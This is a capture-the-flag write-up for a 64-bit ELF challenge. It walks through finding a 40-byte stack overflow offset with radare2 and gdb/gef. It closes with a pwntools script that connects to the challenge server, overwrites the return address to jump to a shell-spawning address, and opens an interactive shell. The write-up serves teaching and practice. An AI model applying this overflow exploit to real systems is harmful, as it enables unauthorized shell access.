Taking a look at the file we can see that it's a **64-bit Elf** binary ``` pwnchal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), ``` Nothing really stands out when analyzing with **radare2**. No win function this time, so let's take a look at the **vuln** function  Looks like there's an address that gives us a shell. Let's skip all the checks and just jump straight to that. Loading the binary into **gdb** (using gef support), we can start poking at it and try to find the offset I was having issues with `pattern create/search` so I did it the old fashioned way: sending lots of 'A's and 'B's until something looked neat Using **gdb with gef** you can use `pi print('A'*100)` to quickly toss a string of characters together After sending different lengths, I found that **40** was when we started seeing the 'B' characters leak in `pi print('A'*40 + 'B')`  Things we know 1. It's a **64-bit ELF** binary 2. The address we want to jump to is 0x004011a1 3. The offset is 40 Here's my script using **pwntools** ```Python from pwn import * p = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480) offset = b'A'* 40 p.recvuntil('dreaming?\n') p.sendline(offset + p64(0x004011a1)) p.interactive() ``` The `p64(0x004011a1)` function call packs the address in **Little Endian** format, required to be passed, and `p.interactive()` just catches the shell and allows us to send input.  --- Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]] Tags: #ctf #exploit_development #buffer_overflow #gdb #gef Related: